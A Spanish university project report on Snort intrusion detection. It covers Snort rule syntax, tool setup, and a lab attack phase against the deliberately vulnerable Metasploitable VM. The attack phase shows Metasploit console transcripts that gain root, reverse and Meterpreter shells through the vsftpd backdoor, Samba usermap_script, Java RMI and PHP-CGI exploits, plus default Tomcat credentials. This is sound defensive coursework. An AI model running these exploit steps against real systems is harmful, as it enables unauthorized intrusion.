Está en la página 1de 39

Proyecto Seguridad en redes y sistemas

DETECCIN DE INTRUSIONES CON SNORT
























Alberto lvarez Oliva
Posgrado Seguridad en Redes y Sistemas
Consultor: Cristina Prez Sol
Universitat Oberta de Catalunya
Junio 2013


























































Tabla de contenido
1. Introduccin 5
1.1. Problema a resolver ... 5
1.2. Objetivos 5
1.3. Metodologa ... 5
1.3.1. Descripcin del escenario 5
1.3.2. Recursos .. 6
1.3.3. Riesgos 6
1.4. Tareas . 6
1.5. Planificacin temporal .. 7
1.6. Estado del arte 8
2. Software 9
2.1. Snort .. 9
2.1.1. Introduccin 9
2.1.2. Historia 9
2.1.3. Funcionamiento .. 9
2.1.4. Reglas . 10
2.2. Metasploitable .. 13
2.2.1. Introduccin ... 13
2.2.2. Vulnerable .. 13
2.3. Metasploit . 14
2.3.1. Introduccin 14
2.3.2. Historia ... 14
2.3.3. Funcionamiento .. 15
2.4. Nmap . 17
2.4.1. Introduccin 17
2.4.2. Historia 17
2.4.3. Funcionamiento .. 17
2.5. Nessus 18
2.5.1. Introduccin 18
2.5.2. Historia 18
2.5.3. Funcionamiento .. 18
2.6. Wireshark ... 20
2.6.1. Introduccin 20
2.6.2. Historia 20
2.6.3. Funcionamiento .. 21
3. Ataque .. 22
3.1. Recolectando informacin . 22
3.1.1. Escaneo de puertos nmap . 22
3.1.2. Escaneo de vulnerabilidades nessus . 23
3.1.3. Bsquedas de exploits vlidos con metasploit 26
4. Defensa . 31
4.1. Esnifando paquetes Wireshark 31
4.1.1. Trfico caracterstico ... 31
4.2. Creacin de reglas Snort 34
4.2.1. Ficheros de configuracin ... 34
4.2.2. Creacin y funcionamiento . 34
5. Conclusiones 37
6. Referencias bibliogrficas .. 38
7. Anexos .. 39
7.1. Contenido del fichero perso.rules .. 39



5
1. Introduccin
1.1. Problema a resolver
Disponemos de un servidor que tiene instalado una distribucin GNU/Linux llamada
Metasploitable. Dicha distribucin es conocida por ser vulnerable de forma intencionada. Para
disminuir la posibilidad de que se produzca una intrusin, se efectu un ataque con xito o se
explote una vulnerabilidad, debemos configurar Snort correctamente.

1.2. Objetivos
Entender el funcionamiento de Snort.
Obtener los conocimientos necesarios para crear y modificar reglas de Snort.
Conocer el funcionamiento de la distribucin Metasploitable.
Adquirir los conocimientos necesarios para el manejo y uso de Metasploit.
Obtener las competencias necesarias para instalar y configurar Snort en entornos reales.

1.3. Metodologa
Antes de nada, nos documentaremos sobre el software que vamos a emplear.

Una vez preparado el entorno, elegiremos varios ataques sobre los cuales trabajaremos.
Tambin estudiaremos dichos ataques para comprender su funcionamiento y sus
particularidades con la intencin de poder crear filtros eficientes con Snort.

Pasaremos a la etapa de creacin de reglas. Crearemos reglas Snort especficas para los
ataques anteriores, con las cuales detectaremos y registraremos los intentos de ataque en un fichero
de log.

1.3.1. Descripcin del escenario
Para alcanzar los objetivos del proyecto, trabajaremos sobre un entorno virtual formado por
una mquina atacante, en la que se instalar Debian y Metasploit, y una mquina vctima, en la que
instalaremos Metasploitable y Snort. Figura 1.


Figura 1. Esquema del escenario


6
1.3.2. Recursos
Para poner en marcha el proyecto necesitaremos lo siguiente:

Hardware:

No es necesario ningn hardware especfico. Mientras sea posible instalar VirtualBox y
virtualizar simultneamente Debian y Metasploitable nos vale. Como ya disponemos de una
computadora capaz de realizar dicha tarea (AMD Phenom II 940 4x3,0Ghz, 8GB RAM
DDR2@1066MHz, RAID 0 WD Caviar Black 1TB, NIC Gigabit) no necesitamos realizar gasto
alguno, 0.

Software:

Necesitamos varios herramientas y sistemas operativos:

VirtualBox: Disponible los repositorios.
Debian: Podemos descargar el sistema operativo gratuitamente desde aqu.
Metasplotaible: Descarga gratuita desde aqu.
Metasploit: Descarga gratuita aqu.
Wireshark: Disponible desde los repositorios.
Nmap: Disponible desde los repositorios.
Nessus: Disponible desde su web.
Snort: Disponible gratuitamente desde su web. Tambin est disponible un conjunto de
reglas.
Por lo que el coste en software es de 0.

Por lo tanto el coste total del proyecto ser de 0.

1.3.3. Riesgos
Al trabajar sobre mquinas virtuales el riesgo es bastante reducido, en caso de obtener un
resultado inesperado podremos restaurarlo a un punto anterior gracias a las Instantneas.

1.4. Tareas
Adquirir documentacin sobre Snort, Metasploit, Metasploitable, Nessus, nmap y
Wireshark.
Preparar el entorno de trabajo con mquinas virtuales, en una de ellas instalaremos
Metasploitable y Snort, en otra instalaremos Debian desde la cual se realizarn los ataques
con Metasploit.
Los ataques se realizarn con Metasploit.
Esnifar el trfico generado por los ataques para su posterior estudio.
Creacin de reglas de Snort que impidan o avisen el/del uso de los mismos.





7
1.5. Planificacin temporal
Diagrama de Gantt. Figura 2.
Figura 2.
Temporizacin de tareas. Figura 3.

Figura 3. Planificacin








8
1.6. Estado del arte
En general todo est bien documentado, con informacin ms o menos centralizada y/o
accesible pero disponible.

Existen diversas recopilaciones de reglas para Snort, en la propia pgina del proyecto
podemos descargar las oficiales. Hay dos versiones: La de suscriptores, a los cuales se les permite
obtener la ltima versin con las reglas actualizadas al da y la de usuarios registrados, a los cuales
se les permite descargar la recopilacin de reglas correspondiente a 30 das atrs.

Luego hay recopilaciones no oficiales y que suelen ir enfocadas a ataques o casos concretos,
como por ejemplo sta recopilacin, preparada para alertar de actividad generada por los
movimientos del conocido caso APT1 Unit 68398 del que tanto se ha hablado en las ltimas
semanas.
Podemos ver que se compone de 2046 reglas especficas para alertar sobre trfico
relacionados con las actividades de APT1, principalmente usando los nombres de dominio desde el
que proviene el trfico.

Tambin hay un proyecto que ser interesante para la realizacin del nuestro: IDS Project
Snorting Metasploit, creado por Kevin de Kok y Niek Timmers, ambos estudiantes de la
universidad de msterdam, en la que ponen a prueba la efectividad de Snort contra ataques
disponibles en Metasploit.

Crean una serie de aplicaciones para poder probar todos los exploits disponibles en
Metasploit automticamente, tambin proponen varios mtodos para ofuscar dichos ataques.

Sobre Metasploit hay cientos de blogs y foros con informacin, en ste caso en concreto lo
complicado es encontrar informacin interesante y actualizada entre mucha basura.
La web http://www.offensive-security.com/metasploit-unleashed nos resultar muy til,
podemos encontrar documentacin muy completa sobre Metasploit, entre las que se encuentran los
requisitos de instalacin o las diferentes GUIs disponibles, pasando por todo tipo de temas entre los
dos anteriores.














9
2. Software
2.1. Snort

Figura 4. Logo de Snort

2.1.1. Introduccin
Snort es una herramienta de seguridad de deteccin y prevencin de intrusos en red
(IDS/IPS) basado en usos indebidos, capaz de analizar el trfico y registrar paquetes en tiempo real.
[1]
Implementa un motor de deteccin de ataques y barrido de puertos que permite registrar,
alertar y responder ante cualquier anomala. Dichas respuestas estn previamente definidas por las
reglas que el administrador considere oportunas, aunque en la propia instalacin ya nos ofrece
cientos de reglas que plasman una gran variedad de ataques conocidos. [2]
Est disponible bajo una estrategia de doble licencia: El cdigo fuente del motor Snort est
bajo licencia GPLv2 y el de las reglas propietarias de Snort bajo Non-Commercial Use License
for the Proprietary Snort Rules. [3]

2.1.2. Historia
Snort se desarroll en 1998 bajo el nombre de APE por Marty Roesch. En ese ao contaba
con mil seiscientas lneas de cdigo y su utilidad era la de analizar conexiones de red a travs de un
cable modem y como debugger para las aplicaciones de red.

Ms tarde se desarroll el primer analizador de firmas para Snort, que fue implementado en
1999. A partir de entonces se comenz a usar como un IDS.

En diciembre de 1999 apareci la versin 1.5, en la que su autor decidi una nueva
arquitectura basada en plugins, que se mantiene todava.

Actualmente se compone de ms de setenta y cinco mil lneas de cdigo y una arquitectura
que poco tiene que ver con el diseo original.

2.1.3. Funcionamiento
Para comenzar a usar Snort debemos realizar un proceso de, como mnimo, dos pasos:
1 Instalar el motor Snort.
2 Instalar/configurar las reglas.



10
Tenemos la opcin de instalar una interfaz GUI para Snort, pero no es estrictamente
necesario.
Para proceder a la instalacin en nuestro sistema Debian 6 ejecutaremos el siguiente
comando:

root@debian-uoc:~# apt-get install snort

Tambin podemos instalar el paquete snort-rules-default que aadir una serie de reglas
predefinidas, en nuestro caso preferimos no usarlas para evitar confusiones.

2.1.4. Reglas
De una forma esquemtica, este es el aspecto y la estructura que tiene una regla de Snort:

accin protocolo_a_vigilar ip_origen puerto_origen [-> || <>] ip_destino puerto_destino [referencia:
valor; ...]

Dichos campos corresponden con los siguientes puntos:
Accin a realizar
Protocolos
Direcciones IP
Puertos
Operador de direccin
Opciones de las reglas

Accin a realizar:
El primer campo que nos encontraremos en todas las reglas, ser la accin a realizar con los
paquetes en caso de que cumpla las condiciones configuradas en el filtro.
Puede tomar uno de los siguientes valores:
alert
Genera una alerta usando el mtodo elegido y luego
registra el paquete en un log.
log
Registra el paquete en un log.
pass
Ignorar el paquete.
activate
Genera una alerta y luego activa otra regla dinmica.
dynamic
Permanece desactivada hasta que se activa con una regla
activate, luego actua como una regla log.
drop
Bloquea y registra el paquete en un fichero log.
reject
Bloquea el paquete, lo registra y luego enva un TCP reset
si el protocolo es TCP o un ICMP port unreachable si el
protocolo es UDP.
sdrop
Bloquea el paquete pero no lo registra en un log.


11
Snort nos ofrece la posibilidad de crear tipos de reglas personalizados, y usarlos
posteriormente como acciones en Snort, pero no vamos a entrar en detalles al respecto. Dicha
informacin se puede consultar en el manual de Snort.

Protocolos:
El siguiente campo en una regla es el protocolo, debe ser uno de los cuatro que Snort puede
analizar actualmente: TCP, UDP, ICMP o IP.

Direcciones IP y puerto:
El siguiente campo hace referencia a la direccin IP y el puerto de origen, tras el operador de
direccin tambin se especifican la direccin IP y el puerto de destino.

Operador de direccin:
Indica la orientacin o direccin del trfico sobre el que se aplicar la regla. Puede ser ->
o <> (bidireccional).

Opciones:
A partir de aqu podemos aadir las opciones que nos interesen, separadas por ;.
Existen cuatro tipos de categoras de opciones: general, payload, non-payload y post-
detection.

Opciones de tipo general:
Dan informacin sobre la regla pero no tienen efecto alguno a la hora de la deteccin. A
continuacin se presenta una tabla con dichas opciones y sus funcionalidades.

Keyword Descripcin
msg
El mensaje que se mostrar en el tipo de alerta
seleccionada cuando un paquete coincida con la
descripcin de la regla.
reference
Permite incluir referencias a sistemas de identificacin de
vulnerabilidades externos.
gid
Se usa para identificar qu parte de Snort genera el evento
cuando una regla se dispara.
sid Se usa para identificar reglas.
rev Se usa para identificar revisiones de las reglas.
classtype
Sirve para categorizar una regla por la forma en la que se
detecta un ataque que pertenece a otro tipo de ataque ms
general.
priority Asigna un nivel de importancia a las reglas.
metadata Permite aadir informacin adicional sobre la regla.




12
Opciones de deteccin de payload:
Estas opciones buscan datos dentro de los paquetes. Debido a la cantidad de opciones
disponibles, presento las ms habituales en formato de tabla-resumen.

Keyword Descripcin
content
Permite al usuario definir reglas que busquen un
contenido especfico en el paquete y active una respuesta
basado en ese contenido. Es una de las opciones ms
importantes de Snort.
rawbytes
Permite a las reglas mirar el contenido del paquete en
raw.
depth
Define hasta donde debe buscar Snort, dentro de un
paquete.
offset
Especifica donde debe comenzar a buscar un patrn en los
paquetes.

Opciones de deteccin de non-payload:
Con estas opciones podemos hacer que las reglas busquen por datos que no sean payloads.
En total son veinte las opciones non-payload disponibles, por lo que muestro una tabla con
las ms relevantes.

Keyword Descripcin
ttl Comprueba el valor time-to-live.
dsize Comprueba el tamao del paquete payload.
flags
Comprueba si bits especficos de las flags TCP estn
presentes.
seq Busca un nmero de secuencia TCP en concreto.
ack Busca un acknowledge number en concreto.
window Busca un tamao de ventana TCP en concreto.
icmp_id Busca un valor especfico de ICMP ID.
sameip
Permite que las reglas comprueben si la IP de origen es la
misma que la IP de destino.












13
Opciones de post-detection:
Tenemos a nuestra disposicin varias opciones de post-deteccin que se pondrn en marcha
cuando una regla se active. Con estas opciones podremos terminar de adaptar las reglas a las
necesidades que tengamos.

Keyword Descripcin
logto
Registra todos los paquetes que activen la regla en un
fichero determinado.
session Extrae informacin del usuario de las sesiones TCP.
resp Intenta cerrar sesiones cuando una alerta se activa.
react
Permite a los usuarios terminar la conexin y enviar un
aviso.
tag
Permite registrar ms que solo el paquete que activ la
regla.
activates
Permite especificar una regla que se aadir cuando ocurra
un evento en la red.
activated_by Permite activar dinmicamente una regla.
count
Se debe usar junto a activated_by. Permite especificar
durante cuantos paquetes estar la regla activa tras su
activacin.
detection_filter
Busca por direccin IP otras reglas que coincidan y las
activa.

2.2. Metasploitable
2.2.1. Introduccin
Se trata de una distribucin Linux, vulnerable de forma intencionada que forma parte del
Metasploit Project. Disponible como imagen de mquina virtual y usada como herramienta de
aprendizaje, entorno de pruebas para herramientas de seguridad y demostracin de vulnerabilidades
comunes.
Para comenzar a utilizarla solo debemos descargar este fichero y crear una nueva mquina
virtual con la imagen descargada.

2.2.2. Vulnerable
Aunque no hay una lista exacta, se conoce que, al menos, hay 135 vulnerabilidades en la
versin 2 de Metasploitable.
Vamos a realizar una escaneo de puertos para conocer qu tenemos entre manos. Figura 5.


14

Figura 5. Resultados de un escaneo de puertos

Vemos que hay gran cantidad de servicios funcionando, nos pararemos en ellos ms
adelante.

2.3. Metasploit

Figura 6. Logo de Metasploit

2.3.1. Introduccin
Metasploit Project es un proyecto de seguridad informtica que facilita informacin sobre
vulnerabilidades, ofrece ayudas en los test de penetracin y facilita el desarrollo de reglas para IDS.

2.3.2. Historia
Desarrollado en el ao 2003 por HD Moore, programado en Perl como una herramienta de
red. Posteriormente se reescribi por completo en Ruby.
En octubre de 2009 fue adquirido por Rapid7, empresa de seguridad que ofrece soluciones
de administracin de vulnerabilidades. Actualmente se encuentra en la versin 4.6.0. [4]
Rapid7 ofrece cuatro versiones diferentes:
Metasploit Framework Edition: Es la versin ms bsica y que est disponible de forma
gratuita.
Metasploit Community Edition: Tambin gratuito, se trata de una interfaz web para
Metasploit, est basada en la versin de pago pero con menos funcionalidades.
Metasploit Express: Versin comercial con mejoras, como la integracin de nmap.
Metasploit Pro: La versin ms completa que incluye escaneo y explotacin de
aplicaciones web.


15
2.3.3. Funcionamiento
Los pasos habituales que hay que seguir para explotar vulnerabilidades de un sistema son los
siguientes:

1. Elegir y configurar un exploit.
2. Comprobar que el sistema vctima sea vulnerable a dicho exploit.
3. Elegir y configurar un payload.
4. Elegir una tcnica de cifrado para el payload.
5. Ejecutar el exploit.

Para instalar el software, debemos descargarnos el paquete de instalacin desde la web de
Rapid7.
Una vez lo tengamos descargado debemos dar permisos de ejecucin al paquete para poder
comenzar la instalacin, podemos hacerlo de sta forma:

root@debian-uoc:/# chmod +x metasploit-latest-linux-x64-installer.run

Y para ejecutarlo hacemos lo siguiente, importante ser root:

root@debian-uoc:/home/uoc/Descargas# ./metasploit-latest-linux-x64-
installer.run

Aparecer un asistente que nos guiar de una forma sencilla por los siguientes pasos:
1. Aceptamos la licencia de uso.
2. Elegir directorio de instalacin.
3. Elegir si instalar Metasploit como un servicio o no.
4. En caso de que el punto 3 sea positivo, debemos elegir un nombre para el script del servicio.
5. Elegir el nmero de puerto que usar el servicio.
6. Introducir el nombre de dominio completo y el nmero de das de validez del certificado que
generar.
7. Introducir un nuevo puerto para la base de datos.
8. Introducir un tercer puerto para el servidor Thin.
9. Instalar.

Una vez termine la instalacin es necesario configurar ciertas cosas, para comenzar con ello,
visitamos https://localhost:3790

Creamos un nombre de usuario y generamos una contrasea segura. Para que nos la acepte
debe contener al menos 12 caracteres, maysculas, minsculas, nmeros y algn caracter especial.


16
El siguiente paso es obtener la licencia para la versin gratuita, para ello debemos
registrarnos, usando el formulario que tenemos en pantalla, para que nos llegue un e-mail con la
licencia. La introducimos en la web y ya podemos comenzar a usarlo.

Alternativamente disponemos de las herramientas por lnea de comandos. Se compone de
una serie de herramientas: msfbinscan, msfcli, msfconsole, msfd, msfelfscan, msfencode,
msfmachscan, msfpayload, msfpescan, msfpro, msfrpc, msfrpcd, msfupdate y msfvenom. Pero
principalmente usaremos msfconsole.
Los siguientes pasos estn redactados como gua y no como parte prctica, que la
mostraremos ms adelante aplicando estos puntos.
Para arrancar la aplicacin, escribimos msfconsole en la consola. Figura 7.

Figura 7. Mensaje de entrada de msfconsole

Recopilando informacin
A partir de aqu debemos obtener informacin de nuestro host vctima. Para ello usaremos la
herramienta nmap.
Desde la consola tenemos dos posibilidades de uso: Con el comando nmap, como se hara
desde una consola normal de GNU/Linux, o con db_nmap. La diferencia se encuentra en la forma
en la que se tratan los resultados, aadindose a la base de datos de Metasploit en caso de usar la
segunda forma.
Una vez conocemos los servicios que estn funcionando debemos descubrir ms sobre ellos.
Con el comando services podemos hacerlo.

Si estamos en la misma red, podemos probar a esnifar contraseas con el mdulo psnuffle.

Buscando vulnerabilidades
Antes de nada hay que tener claro que Metasploit no realiza ste tipo de bsquedas, pero no
hay ningn problema pues podemos usar los resultados de una herramienta como Nessus en
Metasploit.

Lo primero de todo es completar una bsqueda de vulnerabilidades con Nessus y guardar los
resultados en un fichero *.nbe. Luego importamos dicho fichero a Metasploit usando el comando
db_import.



17
Explotando vulnerabilidades
Una vez tenemos el fichero importado, podemos ver si tenemos exploits que se aprovechen
de alguna de las vulnerabilidades encontradas y lanzarlo.

2.4. nmap

Figura 8. Logo de nmap

2.4.1. Introduccin
Es un programa de cdigo abierto que sirve para efectuar rastreo de puertos, escrito
originalmente por Gordon Lyon (ms conocido por su alias Fyodor Vaskovich). Se usa para evaluar
la seguridad de sistemas informticos, as como para descubrir servicios o servidores en una red
informtica. [5]

2.4.2. Historia
La primera vez que se public nmap fue en 1997 como un artculo de la revista Phrack
Magazine, incluyendo el cdigo fuente. Con ayuda de la comunidad se le fue aadiendo nuevas
funcionalidades hasta el da de hoy, que se presenta en su versin 6.00 con soporte completo para
IPv6. [6]

2.4.3. Funcionamiento
La instalacin se puede realizar fcilmente desde los repositorios con un simple comando.
root@debian-uoc:~# apt-get install nmap

La forma ms bsica de uso posee la siguiente sintaxis.
root@debian-uoc:~# nmap xxx.xxx.xxx.xxx

Existe una gran variedad de parmetros que modificar el modo de escaneo y los datos a
mostrar por lo que no explicar todas las posibilidades, es fcil de encontrar documentacin
detallada, empezando por el propio manual de nmap (man nmap).



18
2.5. Nessus

Figura 9. Logo de Nessus

2.5.1. Introduccin
Es un programa de escaneo de vulnerabilidades desarrollado por Tenable Network Security,
gratuito para uso personal en entornos no empresariales. [7]

2.5.2. Historia
Renaud Deraison comenz el proyecto Nessus en 1998 para ofrecer a la comunidad un
escaner remoto de seguridad. En 2005, Tenable Security, empresa de la que Renaud era cofundador,
cambi la licencia de Nessus 3 a una licencia propietaria.
En 2008, Tenable revis la licencia permitiendo a los usuarios domsticos acceder sin
restricciones a los plugins a la vez de lanzar una licencia para uso comercial.
Actualmente se encuentra en la versin 5. [7]

2.5.3. Funcionamiento
Desde la propia web de Tenable nos podemos descargar el paquete de instalacin en .deb.
Usamos dpkg para realizar la instalacin.

root@debian-uoc:# dpkg -i Nessus-5.2.1-debian6_amd64.deb

Luego introducimos el siguiente comando para arrancar el demonio.
root@debian-uoc:/# /etc/init.d/nessusd start

Abrimos un navegador web y nos vamos a https://localhost:8834/
Vamos siguiendo los pasos del asistente.
Crear credenciales de acceso.


19

Figura 10. Instalacin de Nessus (1)

Elegimos el Plugin Feed para obtener un cdigo de activacin, en caso de no disponer
uno. En ste caso escogemos la ltima opcin

Figura 11. Instalacin de Nessus (2)

Rellenamos los datos y seguimos.

Figura 12. Instalacin de Nessus (3)




20
Empezar a descargar los plugins.

Figura 13. Instalacin de Nessus (1)

Tras unos minutos podremos hacer login en la aplicacin.
Ahora tenemos que introducir el cdigo que hemos recibido por correo electrnico.
Ya podemos empezar a realizar escaneos de vulnerabilidades, en este enlace puedes
encontrar toda la informacin necesaria para aprender a manejarlo.
De todas maneras, un poco ms adelante en este mismo documento, haremos un anlisis
paso a paso.

2.6. Wireshark

Figura 14. Logo de Wireshark

2.6.1. Introduccin
Wireshark es un analizador de protocolos utilizado para realizar anlisis y solucionar
problemas en redes y como ayuda para el desarrollo de software y protocolos. [8]

2.6.2. Historia
La primera versin, conocida por entonces como Ethereal, se lanz en 1998 por Gerald
Combs.
En mayo del 2006 us la parte del cdigo liberada como base para el repositorio de
Wireshark. El cambio de nombre se produce debido a que no es dueo de la marca Ethereal.
Ethereal deja de desarrollarse en el 2010.
Premiado repetidamente por distintas revistas e industrias relacionadas con el sector,
tambin es uno de los sniffers ms extendidos.



21
2.6.3. Funcionamiento
La instalacin se puede realizar fcilmente desde los repositorios con un simple comando.

root@debian-uoc:~# apt-get install wireshark

Es necesario usar el programa con permisos de superusuario para poder acceder a la interfaz
de red.
En la pgina oficial del proyecto hay disponible una gran cantidad de documentacin, tanto
manuales como vdeos. [9]






























22
3. Ataque
3.1. Recolectando informacin
El primer paso que se debe hacer a la hora de atacar/auditar un sistema, es recolectar toda la
informacin posible sobre el mismo. Lo ms habitual es realizar primero un escaneo de puertos para
ver qu servicios estn activos, posteriormente, se intenta conocer la versin de los servicios. A
partir de aqu, el abanico de posibilidades se abre desde lanzar un escanear de vulnerabilidades,
descubrir rutas y ficheros en el equipo o a realizar pruebas de inyeccin SQL sobre una aplicacin
web.

3.1.1. Escaneo de puertos - nmap
Finalmente comenzamos la parte prctica de este proyecto.
Empezaremos recopilando informacin sobre los servicios que estn activos en el host
Metasploitable, usando la herramienta nmap. Abrimos la consola msfconsole y ejecutamos el
siguiente comando:

msf > nmap -sV 192.168.1.61
Starting Nmap 6.25 ( http://nmap.org )
Nmap scan report for 192.168.1.61
Host is up (0.00020s latency).
Not shown: 979 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open ingreslock?
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1







23
3.1.2. Escaneo de vulnerabilidades - nessus
A continuacin vamos a realizar un anlisis con el escner de vulnerabilidades Nessus.

Accedemos a la aplicacin mediante el navegador, introducimos las credenciales, hacemos
clic en Scan y a continuacin en Add.


Figura 15. Nessus

Luego le damos un nombre al escaneo, elegimos una Policy que indicar a Nessus qu
tipo de acciones a la hora de realizar el anlisis debe hacer, en ste caso la hemos modificado y
hemos puesto que haga todas las acciones posibles. Aadimos el objetivo, es decir, la IP del equipo
Metasploitable y finalmente hacemos clic en el botn Launch Scan.


Figura 16. Nessus

Esperamos a que termine el anlisis. Una vez finalice hacemos clic en Reports, donde
encontraremos los resultados. Hacemos doble clic sobre la lnea.



24

Figura 17. Nessus

Y, de forma resumida, nos encontramos con lo siguiente, siendo la izquierda las
vulnerabilidades encontradas ms crticas.


Figura 18. Nessus

Lo que vamos a realizar a continuacin es guardar los resultados en un fichero NBE, para
poder importarlo a Metasploit. [10]



25

Figura 19. Nessus

Ahora volvemos a msfconsole para importar el fichero:

msf > db_import /home/uoc/Descargas/nessus.nbe

Con el comando hosts podemos comprobar que realmente ha cargado los datos.


Figura 20. Datos importados

Podemos obtener una lista de los servicios del host escaneado, con el comando services.




26

Figura 21. Servicios de red en sistema escaneado

Y con el comando vulns obtenemos un listado de las vulnerabilidades detectadas.

3.1.3. Bsquedas de exploits validos con
metasploit
Para buscar mdulos interesantes usaremos el comando search. Por ejemplo, vamos a ver
los mdulos relacionados con el servicio FTP. [11][12]

msf> search ftp
Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 00:00:00 UTC normal Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
auxiliary/admin/officescan/tmlisten_traversal normal TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
auxiliary/admin/tftp/tftp_transfer_util normal TFTP File Transfer Utility
auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 00:00:00 UTC normal General Electric D20ME TFTP Server Buffer Overflow DoS
auxiliary/dos/wifi/netgear_ma521_rates normal NetGear MA521 Wireless Driver Long Rates Overflow
auxiliary/dos/wifi/netgear_wg311pci normal NetGear WG311v1 Wireless Driver Long SSID Overflow
auxiliary/dos/windows/ftp/filezilla_admin_user 2005-11-07 00:00:00 UTC normal FileZilla FTP Server Admin Interface Denial of Service
[...]

Buscando un poco encontramos un mdulo que nos puede ofrecer informacin muy valiosa:

auxiliary/scanner/ftp/ftp_version

Vamos a usarlo:

msf auxiliary(ftp_version) > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > show options

Module options (auxiliary/scanner/ftp/ftp_version):

Name Current Setting Required Description
---- --------------- -------- -----------


27
FTPPASS mozilla@example.com no The password for the specified
username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target address range or CIDR
identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(ftp_version) > set RHOSTS 192.168.1.61
RHOSTS => 192.168.1.61
msf auxiliary(ftp_version) > exploit

[*] 192.168.1.61:21 FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Ahora que sabemos la versin, vamos a ver si existe algn exploit que se aproveche de
alguna vulnerabilidad.

msf auxiliary(ftp_version) > search vsftpd

Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 00:00:00 UTC excellent VSFTPD v2.3.4 Backdoor Command Execution

Parece que tenemos uno que se ajusta perfectamente a nuestro caso. Vamos a probarlo.

msf auxiliary(ftp_version) > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 21 yes The target port


Exploit target:

Id Name
-- ----
0 Automatic


msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.61
RHOST => 192.168.1.61
msf exploit(vsftpd_234_backdoor) > exploit -j

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.60:52415 -> 192.168.1.61:6200)
at 2013-05-09 03:24:23 +0200

Hemos tenido xito!


28
Cambiamos de servicio por el de Samba, el escaneo con nmap nos ofreci la siguiente
informacin:

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

Por lo que hacemos la bsqueda search samba 3. y entre los resultados encontramos el
siguiente exploit.

exploit/multi/samba/usermap_script

msf exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo PbMEnhW4odVGYZoU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "PbMEnhW4odVGYZoU\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 8 opened (192.168.1.60:4444 -> 192.168.1.61:46481)
at 2013-05-11 19:24:40 +0200

hostname
metasploitable

Podemos comprobar que hemos conseguido una shell.

Continuamos con otro ataque, esta vez vamos a aprovecharnos de Java. Igual que en los
casos anteriores, ponemos Wireshark a capturar paquetes.

exploit/multi/misc/java_rmi_server

msf exploit(java_rmi_server) > exploit

[*] Started bind handler
[*] Using URL: http://0.0.0.0:8080/7r1GkWxrHZor
[*] Local IP: http://192.168.1.60:8080/7r1GkWxrHZor
[*] Connected and sending request for
http://192.168.1.60:8080/7r1GkWxrHZor/OGJI.jar
[*] 192.168.1.61 java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30216 bytes) to 192.168.1.61
[*] Meterpreter session 2 opened (192.168.1.60:54663 -> 192.168.1.61:4444)
at 2013-05-13 01:35:03 +0200

Y por ltimo, vamos a aprovecharnos de la vulnerabilidad CVE-2012-1823

msf exploit > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on 192.168.1.60:4444
[*] Sending stage (39217 bytes) to 192.168.1.61
[*] Meterpreter session 4 opened (192.168.1.60:4444 -> 192.168.1.61:44344)
at 2013-05-17 12:26:47 +0200


29
Continuamos atacando Metasploitable. Sabemos que en el puerto 8180 hay un Tomcat
funcionando, vamos a comprobar si se mantienen las credenciales de acceso predeterminadas con:

auxiliary/admin/http/tomcat_administration


msf auxiliary(tomcat_administration) > exploit

[*] http://192.168.1.61:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5]
[Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat_administration) > info


Efectivamente, las credenciales de acceso no se han modificado. Vamos a aprovechar esta
informacin para ir un poco ms all con:
exploit/multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) >use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
